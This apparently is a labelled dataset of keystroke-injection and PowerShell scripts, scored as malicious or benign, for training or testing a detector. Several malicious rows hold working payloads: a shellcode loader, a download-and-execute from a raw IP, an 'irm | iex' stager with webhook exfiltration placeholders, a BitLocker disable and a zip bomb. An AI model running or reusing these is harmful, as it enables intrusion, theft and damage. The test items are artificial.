DUCKY_REAL_BEGIN enter REM Title: Fake Update enter REM Author: Narsty enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Prank enter REM Accesses The Terminal Opens URL and goes into Full Screen enter ID 05ac:021e Apple:Keyboard enter DELAY 300 enter GUI SPACE enter DELAY 500 enter STRING terminal.app enter DELAY 1000 enter ENTER enter DELAY 1500 enter STRING open http://fakeupdate.net/apple/ enter ENTER enter DELAY 1000 enter GUI-CTRL F enter DELAY 250 enter DUCKY_REAL_END,1,1,6.121229e-05,0.9999387
"win+r enter powershell enter enter enter function Test-RunningAsElevated enter enter { enter [CmdletBinding()] enter [OutputType([bool])] enter Param() enter enter if(-not $script:IsRunningAsElevatedTested -and $script:IsRunningAsElevated) enter { enter if($script:IsWindows) enter { enter $wid=[System.Security.Principal.WindowsIdentity]::GetCurrent() enter $prp=new-object System.Security.Principal.WindowsPrincipal($wid) enter $adm=[System.Security.Principal.WindowsBuiltInRole]::Administrator enter $script:IsRunningAsElevated = $prp.IsInRole($adm) enter } enter elseif($script:IsCoreCLR) enter { enter $script:IsRunningAsElevated = $true enter } enter enter $script:IsRunningAsElevatedTested = $true enter } enter enter return $script:IsRunningAsElevated enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x4b,0x3f,0x44,0x56,0xda,0xc8,0xd9,0x74,0x24,0xf4,0x5d,0x31,0xc9,0xb1,0x47,0x31,0x7d,0x13,0x83,0xc5,0x04,0x03,0x7d,0x44,0xdd,0xb1,0xaa,0xb2,0xa3,0x3a,0x53,0x42,0xc4,0xb3,0xb6,0x73,0xc4,0xa0,0xb3,0x23,0xf4,0xa3,0x96,0xcf,0x7f,0xe1,0x02,0x44,0x0d,0x2e,0x24,0xed,0xb8,0x08,0x0b,0xee,0x91,0x69,0x0a,0x6c,0xe8,0xbd,0xec,0x4d,0x23,0xb0,0xed,0x8a,0x5e,0x39,0xbf,0x43,0x14,0xec,0x50,0xe0,0x60,0x2d,0xda,0xba,0x65,0x35,0x3f,0x0a,0x87,0x14,0xee,0x01,0xde,0xb6,0x10,0xc6,0x6a,0xff,0x0a,0x0b,0x56,0x49,0xa0,0xff,0x2c,0x48,0x60,0xce,0xcd,0xe7,0x4d,0xff,0x3f,0xf9,0x8a,0xc7,0xdf,0x8c,0xe2,0x34,0x5d,0x97,0x30,0x47,0xb9,0x12,0xa3,0xef,0x4a,0x84,0x0f,0x0e,0x9e,0x53,0xdb,0x1c,0x6b,0x17,0x83,0x00,0x6a,0xf4,0xbf,0x3c,0xe7,0xfb,0x6f,0xb5,0xb3,0xdf,0xab,0x9e,0x60,0x41,0xed,0x7a,0xc6,0x7e,0xed,0x25,0xb7,0xda,0x65,0xcb,0xac,0x56,0x24,0x83,0x01,0x5b,0xd7,0x53,0x0e,0xec,0xa4,0x61,0x91,0x46,0x23,0xc9,0x5a,0x41,0xb4,0x2e,0x71,0x35,0x2a,0xd1,0x7a,0x46,0x62,0x15,0x2e,0x16,0x1c,0xbc,0x4f,0xfd,0xdc,0x41,0x9a,0x52,0x8d,0xed,0x75,0x13,0x7d,0x4d,0x26,0xfb,0x97,0x42,0x19,0x1b,0x98,0x89,0x32,0xb6,0x62,0x59,0x6e,0xbb,0xe1,0xef,0xf8,0x41,0xfa,0x1e,0xa5,0xcc,0x1c,0x4a,0x45,0x99,0xb7,0xe2,0xfc,0x80,0x4c,0x93,0x01,0x1f,0x29,0x93,0x8a,0xac,0xcd,0x5d,0x7b,0xd8,0xdd,0x09,0x8b,0x97,0xbc,0x9f,0x94,0x0d,0xaa,0x1f,0x01,0xaa,0x7d,0x48,0xbd,0xb0,0x58,0xbe,0x62,0x4a,0x8f,0xb5,0xab,0xde,0x70,0xa1,0xd3,0x0e,0x71,0x31,0x82,0x44,0x71,0x59,0x72,0x3d,0x22,0x7c,0x7d,0xe8,0x56,0x2d,0xe8,0x13,0x0f,0x82,0xbb,0x7b,0xad,0xfd,0x8c,0x23,0x4e,0x28,0x0d,0x1f,0x99,0x14,0x7b,0x71,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2391224e-05,0.99994755
"win+r enter powershell enter enter enter param enter ( enter [switch]$EventLogServiceStopped, enter [switch]$KernelBootType, enter [switch]$MultiprocessorFree, enter [switch]$EventLogServiceStarted enter ) enter function Initialize-HardwareInventory { enter [CmdletBinding()] enter param () enter enter $Output = ""Initiate SCCM Hardware Inventory....."" enter $SMSCli = [wmiclass] ""\\localhost enter oot\ccm:SMS_Client"" enter $ErrCode = ($SMSCli.TriggerSchedule(""{00000000-0000-0000-0000-000000000001}"")).ReturnValue enter If ($ErrCode -eq $null) { enter $Output += ""Success"" enter } else { enter $Output += ""Failed"" enter } enter Write-Output $Output enter } enter enter function New-WMIClass { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$Class enter ) enter enter $WMITest = Get-WmiObject $Class -ErrorAction SilentlyContinue enter If (($WMITest -ne """") -and ($WMITest -ne $null)) { enter $Output = ""Deleting "" + $Class + "" WMI class....."" enter Remove-WmiObject $Class enter $WMITest = Get-WmiObject $Class -ErrorAction SilentlyContinue enter If ($WMITest -eq $null) { enter $Output += ""Success"" enter } else { enter $Output += ""Failed"" enter Exit 1 enter } enter Write-Output $Output enter } enter $Output = ""Creating "" + $Class + "" WMI class....."" enter $newClass = New-Object System.Management.ManagementClass(""root\cimv2"", [string]::Empty, $null); enter $newClass[""__CLASS""] = $Class; enter $newClass.Qualifiers.Add(""Static"", $true) enter $newClass.Properties.Add(""LastRebootTime"", [System.Management.CimType]::string, $false) enter $newClass.Properties[""LastRebootTime""].Qualifiers.Add(""key"", $true) enter $newClass.Properties[""LastRebootTime""].Qualifiers.Add(""read"", $true) enter $newClass.Put() | Out-Null enter $WMITest = Get-WmiObject $Class -ErrorAction SilentlyContinue enter If ($WMITest -eq $null) { enter $Output += ""Success"" enter } else { enter $Output += ""Failed"" enter Exit 1 enter } enter Write-Output $Output enter } enter enter function New-WMIInstance { enter [CmdletBinding()] enter param enter ( enter [ValidateNotNullOrEmpty()][string]$LastRebootTime, enter [ValidateNotNullOrEmpty()][string]$Class enter ) enter enter $Output = ""Writing Last Reboot information instance to"" + [char]32 + $Class + [char]32 + ""class....."" enter $Return = Set-WmiInstance -Class $Class -Arguments @{ LastRebootTime = $LastRebootTime } enter If ($Return -like ""*"" + $LastRebootTime + ""*"") { enter $Output += ""Success"" enter } else { enter $Output += ""Failed"" enter } enter Write-Output $Output enter } enter enter Clear-Host enter enter If ($KernelBootType.IsPresent) { enter [string]$LastReboot = (Get-WinEvent -FilterHashtable @{ logname = 'system'; ID = 27 } -MaxEvents 1 | Where-Object { $_.Message -like ""*boot type was 0x0*"" }).TimeCreated enter } enter If ($EventLogServiceStarted.IsPresent) { enter [string]$LastReboot = (Get-WinEvent -FilterHashtable @{ logname = 'system'; ID = 6005 } -MaxEvents 1 | Where-Object { $_.Message -like ""*service was started*"" }).TimeCreated enter } enter If ($EventLogServiceStopped.IsPresent) { enter [string]$LastReboot = (Get-WinEvent -FilterHashtable @{ logname = 'system'; ID = 6006 } -MaxEvents 1 | Where-Object { $_.Message -like ""*service was stopped*"" }).TimeCreated enter } enter If ($MultiprocessorFree.IsPresent) { enter [string]$LastReboot = (Get-WinEvent -FilterHashtable @{ logname = 'system'; ID = 6009 } -MaxEvents 1 | Where-Object { $_.Message -like ""*Multiprocessor Free*"" }).TimeCreated enter } enter enter $Output = ""Last reboot/shutdown: "" + $LastReboot enter Write-Output $Output enter enter New-WMIClass -Class ""RebootInfo"" enter enter New-WMIInstance -LastRebootTime $LastReboot -Class ""RebootInfo"" enter enter Initialize-HardwareInventory enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.6486242e-05,0.9999435
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_k6tu8vo3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4088054e-05
"win+r powershell enter function Invoke-SCShell { [CmdletBinding()] Param ( [String] $Command = """" enter ) $base64binary=""TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW enter 4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAHQol4EAAAAAAAAAAOAAIgALATAAABwAAAAIAA enter AAAAAAXjoAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQI enter UAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAw6AABPAAAAAEAAAMAFAAAAAAAAAAAAAAAAAA enter AAAAAAAGAAAAwAAAB4OQAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAZBoAAAAgAAAAHAAAAAIAAAAAAA enter AAAAAAAAAAACAAAGAucnNyYwAAAMAFAAAAQAAAAAYAAAAeAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAA enter AMAAAAAGAAAAACAAAAJAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABAOgAAAAAAAEgAAA enter ACAAUAzCIAAKwWAAABAAAACgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA enter AAAAAAAAAAABMwCwBlAg enter enter",1,1,6.6918576e-05,0.9999331
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_gbhwixmj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4444234e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_e3obgccw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4091692e-05
"DUCKY_REAL_BEGIN enter REM Title: Zip bomb tux style enter REM Author: FalsePhilosopher enter REM Target: Unix-like tested on kubuntu 22.04 enter REM Props: Hak5, strippers and memes enter REM Version: 1.0 enter REM Category: Prank enter REM zipbomb I found and thought I would have some fun with. Opens a background download/unzip, and closes the terminal for no visual evidence. enter DELAY 300 enter REM Minimize all windows as that ensures launch happens smoother and when the terminal is launched everything else is relaunched for no trace of funny business. enter WINDOWS d enter DELAY 300 enter CTRL-ALT t enter DELAY 1500 enter REM FIRE IN THE HOLE! enter STRING cd /tmp/ && nohup wget -q https://lostserver.com/42.zip 2>/dev/null && unzip 42.zip 2>/dev/null & disown enter ENTER enter DELAY 500 enter ALT F4 enter DUCKY_REAL_END",1,1,6.0240705e-05,0.9999398
"win+r enter powershell enter enter enter  enter $users = ""mmessano@primealliancesolutions.com"" enter $fromemail = ""DataManagement@primealliancesolutions.com"" enter $server = ""outbound.smtp.dexma.com"" enter enter $list = ""C:\Users\MMessano\Desktop\Payload_QA.txt"" enter $computers = get-content $list enter [decimal]$thresholdspace = 60 enter $tableFragment = Get-WMIObject -ComputerName $computers Win32_LogicalDisk ` enter | select __SERVER, DriveType, VolumeName, Name, @{n='Size (Gb)' ;e={""{0:n2}"" -f ($_.size/1gb)}},@{n='FreeSpace (Gb)';e={""{0:n2}"" -f ($_.freespace/1gb)}}, @{n='PercentFree';e={""{0:n2}"" -f ($_.freespace/$_.size*100)}} ` enter | Where-Object {$_.DriveType -eq 3} ` enter | ConvertTo-HTML -fragment enter $HTMLmessage = @"" enter <font color=""""black"""" face=""""Arial, Verdana"""" size=""""3""""> enter <u><b>Disk Space Storage Report</b></u> enter <br>This report was generated because the drive(s) listed below have less than $thresholdspace % free space. Drives above this threshold will not be listed. enter <br> enter <style type=""""text/css"""">body{font: .8em """"Lucida Grande"""", Tahoma, Arial, Helvetica, sans-serif;} enter ol{margin:0;padding: 0 1.5em;} enter table{color: enter thead{} enter thead th{padding:1em 1em .5em;border-bottom:1px dotted enter thead tr{} enter td{padding:.5em 1em;} enter tfoot{} enter tfoot td{padding-bottom:1.5em;} enter tfoot tr{} enter enter </style> enter <body BGCOLOR=""""white""""> enter $tableFragment enter </body> enter ""@ enter $regexsubject = $HTMLmessage enter $regex = [regex] '(?im)<td>' enter send-mailmessage -from $fromemail -to $users -subject ""Disk Space Monitoring Report"" -BodyAsHTML -body $HTMLmessage -priority High -smtpServer $server enter enter",0,0,0.9949151,0.0050848788
"win+r enter powershell enter enter enter function Backup-AllSPLists{ enter [CmdletBinding()] enter param( enter [Parameter(Position=0, Mandatory=$true)] enter [String] enter $Path enter ) enter if(-not (Get-PSSnapin ""Microsoft.SharePoint.PowerShell"" -ErrorAction SilentlyContinue)){Add-PSSnapin ""Microsoft.SharePoint.PowerShell""} enter $SPSites = $SPWebApp | Get-SPsite -Limit all enter enter foreach($SPSite in $SPSites){ enter enter $SPWebs = $SPSite | Get-SPWeb -Limit all enter enter foreach ($SPWeb in $SPWebs){ enter enter $SPLists = $SPWeb | foreach{$_.Lists} enter enter foreach($SPList in $SPLists){ enter enter Write-Progress -Activity ""Backup SharePoint lists"" -status $SPList.title -percentComplete ([int]([array]::IndexOf($SPLists, $SPList)/$SPLists.Count*100)) enter enter $RelativePath = $SPSite.HostName + ""\"" + $SPList.RootFolder.ServerRelativeUrl.Replace(""/"",""\"") enter $BackupPath = Join-Path -Path $Path -ChildPath $RelativePath enter enter if(!(Test-Path -path $BackupPath)){New-Item $BackupPath -Type Directory} enter enter $FileName = $SPList.Title + "" enter $FilePath = Join-Path -Path $BackupPath -ChildPath $FileName enter enter Export-SPWeb -Identity $SPList.ParentWeb.Url -ItemUrl $SPList.RootFolder.ServerRelativeUrl -Path $FilePath -IncludeVersions All -IncludeUserSecurity -Force -NoLogFile -CompressionSize 1000 enter enter } enter } enter } enter } enter enter",0,0,0.999607,0.00039299746
DUCKY_REAL_BEGIN enter REM MADE BY HTTPS / https://github.com/httpsisbetter enter REM Resets brainly.com cookies for you enter REM CHROMEOS enter CTRL T enter DELAY 500 enter STRING chrome://settings/siteData enter DELAY 500 enter ENTER enter DELAY 3000 enter TAB enter DELAY 2000 enter STRING brainly enter DELAY 1000 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter ENTER enter DELAY 1000 enter CTRL W enter DUCKY_REAL_END,1,1,6.122402e-05,0.9999387
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_2dl4gugm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_40.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4163684e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_r0xphovz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Get-Service -Name ""*update*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4490844e-05
win+r powershell enter Framework '3.5' task default -depends AspNetCompiler task AspNetCompiler { if enter ( $IsMacOS -OR $IsLinux ) {} else { aspnet_compiler if ($LastExitCode -ne 1) enter { throw 'Error: Could not execute aspnet_compiler' } $global:LastExitCode = enter 0 enter enter,1,1,0.0048237164,0.9951763
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_2u45gfhq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_100.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.389932e-05
delay_short enter unknown_key_action WINDOWS d enter delay_short enter unknown_key_action CTRL-ALT t enter delay_long enter open https://jonnybanana.github.io/HTML-Fork-Bomb.github.io/ enter enter,1,1,5.7041023e-05,0.9999429
win r powershell -w h -NoP -Ep Bypass -Command $botToken='#BOT_TOKEN'; $chatID='#CHAT_ID'; $webhook='#DC_WEBHOOK'; irm #SCRIPT_URL | iexctrl shift enter alt y,1,1,9.4371135e-05,0.9999056
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_pnwwzuaq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_50.json"") -Encoding UTF8 enter",0,0,0.99996555,3.4442e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_ckc0kkl2"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_200.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.444338e-05
"win+r powershell enter function Join-ScriptExtent { [CmdletBinding()] [OutputType([System.Managemen enter t.Automation.Language.IScriptExtent])] param( [Parameter(ValueFromPipeline, Va enter lueFromPipelineByPropertyName)] [System.Management.Automation.Language.IScriptE enter xtent[]] $Extent ) begin { $extentList = New-Object System.Collections.Gener enter ic.List[System.Management.Automation.Language.IScriptExtent] } enter enter",1,1,0.006603489,0.9933965
"win+r enter powershell enter enter enter function Should-BeLike($ActualValue, $ExpectedValue, [switch] $Negate, [String] $Because) { enter enter [bool] $succeeded = $ActualValue -like $ExpectedValue enter if ($Negate) { enter $succeeded = -not $succeeded enter } enter enter if (-not $succeeded) { enter if ($Negate) { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected like wildcard $(Format-Nicely $ExpectedValue) to not match $(Format-Nicely $ActualValue),$(Format-Because $Because) but it did match."" enter } enter } enter else { enter return New-Object psobject -Property @{ enter Succeeded = $false enter FailureMessage = ""Expected like wildcard $(Format-Nicely $ExpectedValue) to match $(Format-Nicely $ActualValue),$(Format-Because $Because) but it did not match."" enter } enter } enter } enter enter return New-Object psobject -Property @{ enter Succeeded = $true enter } enter } enter enter Add-AssertionOperator -Name BeLike ` enter -InternalName Should-BeLike ` enter -Test ${function:Should-BeLike} enter enter function ShouldBeLikeFailureMessage() { enter } enter function NotShouldBeLikeFailureMessage() { enter } enter enter",0,0,0.99993,6.992922e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_zzunzyd0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 3."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996495,3.5056702e-05
"DUCKY_REAL_BEGIN enter REM ########################################### enter REM # | enter REM # Title : Change Desktop Wallpaper | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Prank | enter REM # Target : Linux (KDE based) | enter REM # | enter REM ########################################### enter REM Requirements: enter REM - Internet Connection enter DELAY 1000 enter CTRL-ALT t enter DELAY 2000 enter REM Replace 'example.com/IMAGE_NAME' with your image link enter DEFINE IMAGE_LINK example.com/IMAGE_NAME enter STRING wget enter STRING IMAGE_LINK enter ENTER enter REM Replace example.jpg with the image path, for example /home/USERNAME/example.jpg enter DEFINE IMAGE_PATH=""file://example.jpg"" enter REM It depends by the Internet Connection enter DELAY 2000 enter STRING qdbus org.kde.plasmashell /PlasmaShell org.kde.PlasmaShell.evaluateScript 'var allDesktops = desktops();for (i=0;i<allDesktops.length;i++) {d = allDesktops[i]; d.wallpaperPlugin = ""org.kde.imag enter STRING IMAGE_PATH enter STRING "")}' enter ENTER enter DELAY 1000 enter STRING rm -rf enter STRING IMAGE_PATH enter STRING ;history -c; exit; enter ENTER enter DUCKY_REAL_END",1,1,5.7374902e-05,0.99994266
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""daily_check_7m27kd3b"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3781333e-05
"win+r powershell enter function Add-SPONumberFieldtoList enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string] $listTitle, enter [Parameter(Mandatory=$true, Position=2)] enter [string] $fieldName enter ) enter $newField = ""<Field Type='Number' DisplayName='$fieldName' Name='$fieldName' required='FALSE'/>"" enter Add-SPOField $listTitle $fieldName $newField enter } enter",0,0,0.99987257,0.00012738122
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_kfpqr9sy"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_200.json"") -Encoding UTF8 enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 3."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4151046e-05
capslock capslock win h win space backspace WhatsApp enter win f #PHONE-NUMBER enter down down #TEXT-MESSAGE enter,1,1,0.16306944,0.8369306
win+r powershell enter DUCKY_REAL_BEGIN enter REM launch command prompt as admin as fast as possible enter GUI r enter DELAY 500 enter STRING powershell Start-Process cmd -Verb runAs enter ENTER enter DELAY 3000 enter ALT y enter DELAY 500 enter STRING manage-bde -protectors -Disable C: -RebootCount 0 enter ENTER enter DELAY 500 enter ALT F4 enter DUCKY_REAL_END enter,1,1,5.810136e-05,0.99994195
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_3g3vv7dz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Write-Host ""Starting firewall_status section 2."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_25.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4187244e-05
